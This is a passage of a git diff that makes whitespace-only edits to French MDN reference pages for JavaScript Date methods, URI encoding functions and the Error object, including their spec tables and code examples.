b/files/fr/web/javascript/reference/global_objects/date/tojson/index.md @@ -44,8 +44,8 @@ console.log(jsonDate); //2015-10-26T07:46:36.611Z | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.md b/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.md index 4b7179dfdd..4b643733d1 100644 --- a/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/tolocaletimestring/index.md @@ -74,7 +74,7 @@ console.log(date.toLocaleTimeString("en-US")); console.log(date.toLocaleTimeString("en-GB")); // → "04:00:00" -// le coréen utilise une heure sur 12h avec AM/PM +// le coréen utilise une heure sur 12h avec AM/PM console.log(date.toLocaleTimeString("ko-KR")); // → "오전 4:00:00" diff --git a/files/fr/web/javascript/reference/global_objects/date/tostring/index.md b/files/fr/web/javascript/reference/global_objects/date/tostring/index.md index f25b125d01..394b060984 100644 --- a/files/fr/web/javascript/reference/global_objects/date/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/tostring/index.md @@ -82,10 +82,10 @@ var maVar = x.toString(); // assigne une valeur à maVar similaire à : | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}} | {{Spec2('ES6')}} | | | {{SpecName('ES2018', '#sec-date.prototype.tostring', 'Date.prototype.toString')}} | {{Spec2('ES2018')}} | Standardisation du format produit par `Date.prototype.toString()` | -| {{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/totimestring/index.md b/files/fr/web/javascript/reference/global_objects/date/totimestring/index.md index cabaa9ae84..28d6ae0d8b 100644 --- a/files/fr/web/javascript/reference/global_objects/date/totimestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/totimestring/index.md @@ -28,7 +28,7 @@ Une chaîne de caractères qui représente l'heure de la date indiquée dans un Une instance de {{jsxref("Date")}} représente un instant précis dans le temps. Appeler {{jsxref("Date.toString", "toString()")}} renverra la date formatée de façon à être lisible par un humain, en anglais américain. Pour le moteur JavaScript [SpiderMonkey](/fr/docs/SpiderMonkey), ceci consiste en la partie « date » (jour, mois, année) suivie de la partie « heure » (heures, minutes, secondes, et fuseau horaire). Parfois, il est préférable d'obtenir seulement la partie « heure » ; c'est ce que renvoie la méthode `toTimeString().` -La méthode `toTimeString()` est particulièrement utile parce que les moteurs implémentant [ECMA-262](/fr/docs/JavaScript/Language_Resources) peuvent obtenir des résultats différents avec la méthode {{jsxref("Date.prototype.toString()", "toString()")}} (en effet, le format dépend de l'implémentation). Ceci peut empêcher les manipulations de textes simples d'avoir des résultats cohérents au sein des différents moteurs/navigateurs. +La méthode `toTimeString()` est particulièrement utile parce que les moteurs implémentant [ECMA-262](/fr/docs/JavaScript/Language_Resources) peuvent obtenir des résultats différents avec la méthode {{jsxref("Date.prototype.toString()", "toString()")}} (en effet, le format dépend de l'implémentation). Ceci peut empêcher les manipulations de textes simples d'avoir des résultats cohérents au sein des différents moteurs/navigateurs. ## Exemple @@ -46,9 +46,9 @@ console.log(d.toTimeString()); // 14:39:07 GMT-0600 (PDT) | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.md b/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.md index b7db523967..c5eec55b0e 100644 --- a/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/toutcstring/index.md @@ -45,10 +45,10 @@ var UTCstring = aujourdhui.toUTCString(); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. Le format dépend de l'implémentation. | -| {{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}} | {{Spec2('ES6')}} | | | {{SpecName('ES2018', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}} | {{Spec2('ES2018')}} | Première standardisation du format | -| {{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/utc/index.md b/files/fr/web/javascript/reference/global_objects/date/utc/index.md index 6dbf12f938..96b8b00062 100644 --- a/files/fr/web/javascript/reference/global_objects/date/utc/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/utc/index.md @@ -48,7 +48,7 @@ Un nombre représentant le nombre de millisecondes écoulées entre la date indi La méthode `UTC` prend des paramètres de date et d'heure séparés par des virgules et renvoie le nombre de millièmes de seconde entre le 1er janvier 1970, 00:00:00, temps universel et la date et l'heure spécifiées. -Il faut spécifier l'année entière pour le premier paramètre ; par exemple 1998. Si l'année spécifiée est entre 0 et 99, la méthode la convertira en une année du XXe siècle (1900 + année) ; par exemple si vous indiquez 95, l'année 1995 sera utilisée. +Il faut spécifier l'année entière pour le premier paramètre ; par exemple 1998. Si l'année spécifiée est entre 0 et 99, la méthode la convertira en une année du XXe siècle (1900 + année) ; par exemple si vous indiquez 95, l'année 1995 sera utilisée. La méthode `UTC` diffère du constructeur {{jsxref("Date")}} pour deux raisons : @@ -63,7 +63,7 @@ Comme `UTC` est une méthode statique de `Date`, on l'utilise toujours sous la f ### Utiliser `Date.UTC()` -L'instruction qui suit crée un objet `Date` en utilisant l'heure UTC plutôt que l'heure locale : +L'instruction qui suit crée un objet `Date` en utilisant l'heure UTC plutôt que l'heure locale : ```js var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0)); diff --git a/files/fr/web/javascript/reference/global_objects/date/valueof/index.md b/files/fr/web/javascript/reference/global_objects/date/valueof/index.md index 684d275338..b630d3fac8 100644 --- a/files/fr/web/javascript/reference/global_objects/date/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/valueof/index.md @@ -26,7 +26,7 @@ Le nombre de millisecondes écoulées entre le premier janvier 1970, minuit UTC ## Description -La méthode `valueOf()` renvoie la valeur primitive d'un objet `Date` sous forme d'un nombre. Ce nombre correspond au nombre de millisecondes écoulées depuis le 1 janvier 1970 00h00 GMT. +La méthode `valueOf()` renvoie la valeur primitive d'un objet `Date` sous forme d'un nombre. Ce nombre correspond au nombre de millisecondes écoulées depuis le 1 janvier 1970 00h00 GMT. D'un point de vue fonctionnel, cette méthode est équivalente à {{jsxref("Date.prototype.getTime()")}}. @@ -46,9 +46,9 @@ var maVar = x.valueOf(); // maVar vaut -424713600000 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.md b/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.md index e825bcbbc0..cf11ba1145 100644 --- a/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.md +++ b/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.md @@ -48,9 +48,9 @@ decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B"); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/encodeuri/index.md b/files/fr/web/javascript/reference/global_objects/encodeuri/index.md index 02eade980e..51d9fcefce 100644 --- a/files/fr/web/javascript/reference/global_objects/encodeuri/index.md +++ b/files/fr/web/javascript/reference/global_objects/encodeuri/index.md @@ -49,7 +49,7 @@ console.log(encodeURIComponent(set2)); // -_.!~*'() console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (l'espace est encodé en %20) ``` -Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère *surrogate* (demi-codet) qui ne fait pas partie d'une paire : +Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère *surrogate* (demi-codet) qui ne fait pas partie d'une paire : ```js // On a une paire de codets surrogate @@ -64,7 +64,7 @@ console.log(encodeURI('\uD800')); console.log(encodeURI('\uDFFF')); ``` -`encodeURI()` ne permet pas de former des requêtes HTTP GET ou POST (par exemple avec {{domxref("XMLHTTPRequest")}}) car "&", "+" et "=" ne sont pas encodés et sont traités comme des caractères spéciaux (toutefois, la méthode. {{jsxref("encodeURIComponent")}} pourra être utilisée pour encoder ces caractères). +`encodeURI()` ne permet pas de former des requêtes HTTP GET ou POST (par exemple avec {{domxref("XMLHTTPRequest")}}) car "&", "+" et "=" ne sont pas encodés et sont traités comme des caractères spéciaux (toutefois, la méthode. {{jsxref("encodeURIComponent")}} pourra être utilisée pour encoder ces caractères). Si on souhaite suivre la [RFC3986](http://tools.ietf.org/html/rfc3986) qui concerne les URL et qui rend les crochets réservés (pour IPv6) (il ne faut donc plus encoder ces caractères lorsqu'ils font partie d'une URL (notamment pour la partie représentant l'hôte), on pourra utiliser le fragment de code suivant : diff --git a/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.md b/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.md index 39639333d3..268bf360a7 100644 --- a/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.md +++ b/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.md @@ -121,9 +121,9 @@ function encodeRFC5987ValueChars2(str) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/error/index.md b/files/fr/web/javascript/reference/global_objects/error/index.md index 037520b23f..aa726f4f2a 100644 --- a/files/fr/web/javascript/reference/global_objects/error/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/index.md @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Error --- {{JSRef}} -Le constructeur **`Error`** crée un objet d'erreur. Des instances d'objets `Error` sont déclenchées lorsque des erreurs d'exécution surviennent. L'objet `Error` peut aussi être utilisé comme objet de base pour des exceptions définies par l'utilisateur. Voir ci-dessous pour les types d'erreur natifs standard. +Le constructeur **`Error`** crée un objet d'erreur. Des instances d'objets `Error` sont déclenchées lorsque des erreurs d'exécution surviennent. L'objet `Error` peut aussi être utilisé comme objet de base pour des exceptions définies par l'utilisateur. Voir ci-dessous pour les types d'erreur natifs standard. ## Syntaxe @@ -19,17 +19,17 @@ Le constructeur **`Error`** crée un objet d'erreur. Des instances d'objets `Err ### Paramètres - `message` {{optional_inline}} - - : Description de l'erreur sous une forme lisible par un humain. + - : Description de l'erreur sous une forme lisible par un humain. - `fileName` {{optional_inline}}{{Non-standard_inline}} - - : Argument qui sera utilisé pour la valeur de la propriété `fileName` dans l'objet `Error` créé. Par défaut, ce sera le nom du fichier contenant le code qui a appelé le constructeur `Error()`. + - : Argument qui sera utilisé pour la valeur de la propriété `fileName` dans l'objet `Error` créé. Par défaut, ce sera le nom du fichier contenant le code qui a appelé le constructeur `Error()`. - `lineNumber` {{optional_inline}}{{Non-standard_inline}} - - : Argument qui sera utilisé pour la valeur de la propriété `lineNumber` dans l'objet `Error` créé. Par défaut, ce sera le numéro de la ligne contenant l'invocation du constructeur `Error()`. + - : Argument qui sera utilisé pour la valeur de la propriété `lineNumber` dans l'objet `Error` créé. Par défaut, ce sera le numéro de la ligne contenant l'invocation du constructeur `Error()`. ## Description -Les erreurs d'exécution ont pour résultat la création et le déclenchement d'objets `Error`. +Les erreurs d'exécution ont pour résultat la création et le déclenchement d'objets `Error`. -Cette page documente l'utilisation de l'objet `Error` lui-même et son utilisation comme fonction constructeur. Pour une liste des propriétés et des méthodes héritées par les instances d'`Error`, voir {{jsxref("Error.prototype")}}. +Cette page documente l'utilisation de l'objet `Error` lui-même et son utilisation comme fonction constructeur. Pour une liste des propriétés et des méthodes héritées par les instances d'`Error`, voir {{jsxref("Error.prototype")}}. ### Utilisation de `Error` comme fonction @@ -45,33 +45,33 @@ const y = new Error("J'ai été créée avec new"); ### Types d'erreur -En plus du constructeur `Error` générique, il existe sept autres constructeurs d'erreur de base en JavaScript. Pour les exceptions côté client, voir [Contrôle du flux d'instructions et gestion des erreurs](/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs). +En plus du constructeur `Error` générique, il existe sept autres constructeurs d'erreur de base en JavaScript. Pour les exceptions côté client, voir [Contrôle du flux d'instructions et gestion des erreurs](/fr/docs/Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs). - {{jsxref("EvalError")}} - - : Crée une instance représentant une erreur se produisant en relation avec la fonction globale {{jsxref("eval","eval()")}}. + - : Crée une instance représentant une erreur se produisant en relation avec la fonction globale {{jsxref("eval","eval()")}}. - {{jsxref("RangeError")}} - : Crée une instance représentant une erreur se produisant quand une variable numérique ou un paramètre est en dehors de sa plage de validité. - {{jsxref("ReferenceError")}} - - : Crée une instance représentant une erreur se produisant lors du déréférencement d'une référence invalide. + - : Crée une instance représentant une erreur se produisant lors du déréférencement d'une référence invalide. - {{jsxref("SyntaxError")}} - - : Crée une instance représentant une erreur de syntaxe se produisant lors d'une analyse de code dans {{jsxref("eval", "eval()")}}. + - : Crée une instance représentant une erreur de syntaxe se produisant lors d'une analyse de code dans {{jsxref("eval", "eval()")}}. - {{jsxref("TypeError")}} - : Crée une instance représentant une erreur se produisant quand une variable ou un paramètre n'est pas d'un type valide. - {{jsxref("URIError")}} - - : Crée une instance représentant une erreur se produisant quand des paramètres invalides sont passés à {{jsxref("encodeURI", "encodeURI()")}} ou à {{jsxref("decodeURI", "decodeURI()")}}. + - : Crée une instance représentant une erreur se produisant quand des paramètres invalides sont passés à {{jsxref("encodeURI", "encodeURI()")}} ou à {{jsxref("decodeURI", "decodeURI()")}}. - {{JSxRef("AggregateError")}} - : Crée une instance représentant différentes erreurs agrégées en une seule lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}}. - {{jsxref("InternalError")}} {{non-standard_inline}} - - : Crée une instance représentant une erreur se produisant quand une erreur interne dans le moteur JavaScript est déclenchée. Par ex., "too much recursion". + - : Crée une instance représentant une erreur se produisant quand une erreur interne dans le moteur JavaScript est déclenchée. Par ex., "too much recursion". ## Propriétés - {{jsxref("Error.prototype")}} - - : Permet l'ajout de propriétés aux instances `Error`. + - : Permet l'ajout de propriétés aux instances `Error`. ## Méthodes -L'objet global `Error` ne contient pas de méthodes en propre, toutefois, il hérite de certaines méthodes via la chaine de prototype. +L'objet global `Error` ne contient pas de méthodes en propre, toutefois, il hérite de certaines méthodes via la chaine de prototype. ## Instances d'`Error` @@ -89,7 +89,7 @@ L'objet global `Error` ne contient pas de méthodes en propre, toutefois, il hé ### Déclenchement d'une erreur générique -Vous créez habituellement un objet `Error` dans l'intention de le déclencher en utilisant le mot-clé {{jsxref("Instructions/throw", "throw")}}. Vous pouvez gérer l'erreur en utilisant la construction {{jsxref("Instructions/try...catch", "try...catch")}} : +Vous créez habituellement un objet `Error` dans l'intention de le déclencher en utilisant le mot-clé {{jsxref("Instructions/throw", "throw")}}. Vous pouvez gérer l'erreur en utilisant la construction {{jsxref("Instructions/try...catch", "try...catch")}} : ```js try { @@ -101,7 +101,7 @@ try { ### Gestion d'une erreur spécifique -Vous pouvez choisir de ne gérer que des types d'erreur particuliers en testant le type de l'erreur via la propriété {{jsxref("Object.prototype.constructor", "constructor")}} de l'erreur ou, si vous écrivez pour des interpréteurs JavaScript modernes, le mot-clé {{jsxref("Opérateurs/instanceof", "instanceof")}} : +Vous pouvez choisir de ne gérer que des types d'erreur particuliers en testant le type de l'erreur via la propriété {{jsxref("Object.prototype.constructor", "constructor")}} de l'erreur ou, si vous écrivez pour des interpréteurs JavaScript modernes, le mot-clé {{jsxref("Opérateurs/instanceof", "instanceof")}} : ```js try { @@ -118,13 +118,13 @@ try { ### Types d'erreur personnalisés -Vous pouvez vouloir définir vos propres types d'erreur dérivants d'`Error` pour pouvoir écrire `throw new MonErreur()` et utiliser `instanceof MonErreur` afin de vérifier le type d'erreur dans le gestionnaire d'exceptions. Cela a pour résultat un code de gestion d'erreur plus propre et plus cohérent. Voir [_What's a good way to extend Error in JavaScript?_](http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript) sur StackOverflow pour une discussion en profondeur. +Vous pouvez vouloir définir vos propres types d'erreur dérivants d'`Error` pour pouvoir écrire `throw new MonErreur()` et utiliser `instanceof MonErreur` afin de vérifier le type d'erreur dans le gestionnaire d'exceptions. Cela a pour résultat un code de gestion d'erreur plus propre et plus cohérent. Voir [_What's a good way to extend Error in JavaScript?_](http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript) sur StackOverflow pour une discussion en profondeur. #### Classes d'erreur personnalisées avec ECMAScript 2015 / ES6 -> **Attention :** Babel, dans les versions antérieures à Babel 7, ainsi que d'autres transpileurs ne géreront pas correctement le code suivant sans [configuration supplémentaire](https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend). Les versions de Babel antérieures à la version 7 peuvent uniquement gérer les classes d'erreur personnalisées lorsque celles-ci sont créées avec [`Object.defineProperty()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty). +> **Attention :** Babel, dans les versions antérieures à Babel 7, ainsi que d'autres transpileurs ne géreront pas correctement le code suivant sans [configuration supplémentaire](https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend). Les versions de Babel antérieures à la version 7 peuvent uniquement gérer les classes d'erreur personnalisées lorsque celles-ci sont créées avec [`Object.defineProperty()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty). -> **Note :** Certains navigateurs incluent le constructeur `CustomError` (Erreur Personnalisée) dans la pile d'appels lors de l'utilisation de classes ES6. +> **Note :** Certains navigateurs incluent le constructeur `CustomError` (Erreur Personnalisée) dans la pile d'appels lors de l'utilisation de classes ES6. ```js class CustomError extends Error { @@ -153,9 +153,9 @@ try { } ``` -#### Objet d'erreur personnalisé ES5 +#### Objet d'erreur personnalisé ES5 -> **Attention :** Tous les navigateurs incluent le constructeur `CustomError` dans la pile d'appel lorsqu'une déclaration prototypale est utilisée. +> **Attention :** Tous les navigateurs incluent le constructeur `CustomError` dans la pile d'appel lorsqu'une déclaration prototypale est utilisée. ```js function CustomError(machin, message, nomFichier, numeroLigne) { diff --git a/files/fr/web/javascript/reference/global_objects/error/linenumber/index.md b/files/fr/web/javascript/reference/global_objects/error/linenumber/index.md index b2a2a1ff5a..3358206394 100644 --- a/files/fr/web/javascript/reference/global_objects/error/linenumber/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/linenumber/index.md @@ -29,7 +29,7 @@ console.log(e.lineNumber) // 2 ```js window.addEventListener("error", function (e) { - console.log(e.lineNumber); //5 + console.log(e.lineNumber); //5 }); var e = new Error('Ne peut pas lire la donnée'); throw e; diff --git a/files/fr/web/javascript/reference/global_objects/error/message/index.md b/files/fr/web/javascript/reference/global_objects/error/message/index.md index 47c745abbe..c0f55368d4 100644 --- a/files/fr/web/javascript/reference/global_objects/error/message/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/message/index.md @@ -35,9 +35,9 @@ throw e; | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/error/name/index.md b/files/fr/web/javascript/reference/global_objects/error/name/index.md index 9ef6dbf87e..e17557d6ce 100644 --- a/files/fr/web/javascript/reference/global_objects/error/name/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/name/index.md @@ -35,9 +35,9 @@ throw e; | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/error/stack/index.md b/files/fr/web/javascript/reference/global_objects/error/stack/index.md index 94bc830aeb..b827345665 100644 --- a/files/fr/web/javascript/reference/global_objects/error/stack/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/stack/index.md @@ -13,17 +13,17 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Error/Stack --- {{JSRef}} {{non-standard_header}} -La propriété non-standard **`stack`** des objets {{jsxref("Error")}} fournit une trace des fonctions qui ont été appelées, dans quel ordre, depuis quelle ligne de quel fichier, et avec quels arguments. La chaine de pile remonte des appels les plus récents jusqu'aux plus anciens, ramenant à l'appel original de la portée globale. +La propriété non-standard **`stack`** des objets {{jsxref("Error")}} fournit une trace des fonctions qui ont été appelées, dans quel ordre, depuis quelle ligne de quel fichier, et avec quels arguments. La chaine de pile remonte des appels les plus récents jusqu'aux plus anciens, ramenant à l'appel original de la portée globale. ## Description -Chaque étape sera séparée par une nouvelle ligne, la première partie de la ligne étant le nom de la fonction (si ce n'est pas un appel depuis la portée globale), suivi du signe arobase (@), de l'emplacement du fichier (sauf quand la fonction est le constructeur d'erreur lorsque l'erreur est déclenchée), de deux-points, et, s'il y a un emplacement de fichier, du numéro de ligne. (Notez que l'objet {{jsxref("Error")}} possède aussi les propriétés `fileName`, `lineNumber` et `columnNumber` pour leur récupération à partir de l'erreur déclenchée (mais seulement l'erreur, et pas sa trace)). +Chaque étape sera séparée par une nouvelle ligne, la première partie de la ligne étant le nom de la fonction (si ce n'est pas un appel depuis la portée globale), suivi du signe arobase (@), de l'emplacement du fichier (sauf quand la fonction est le constructeur d'erreur lorsque l'erreur est déclenchée), de deux-points, et, s'il y a un emplacement de fichier, du numéro de ligne. (Notez que l'objet {{jsxref("Error")}} possède aussi les propriétés `fileName`, `lineNumber` et `columnNumber` pour leur récupération à partir de l'erreur déclenchée (mais seulement l'erreur, et pas sa trace)). -Notez que ceci est le format utilisé par Firefox. Il n'y a aucun formatage standard. Cependant Safari 6+ et Opera 12- utilisent un format très similaire. Les navigateurs utilisant le moteur JavaScript V8 (tel que Chrome, Opera 15+, Navigateur Android) et IE10+, utilisent un format différent (voir la documentation MSDN [error.stack](https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx)). +Notez que ceci est le format utilisé par Firefox. Il n'y a aucun formatage standard. Cependant Safari 6+ et Opera 12- utilisent un format très similaire. Les navigateurs utilisant le moteur JavaScript V8 (tel que Chrome, Opera 15+, Navigateur Android) et IE10+, utilisent un format différent (voir la documentation MSDN [error.stack](https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx)). -**Valeurs des arguments dans la pile :** avant Firefox 14 ({{bug("744842")}}), le nom d'une fonction étaient suivis par les valeurs des arguments converties en une chaine de caractères entre 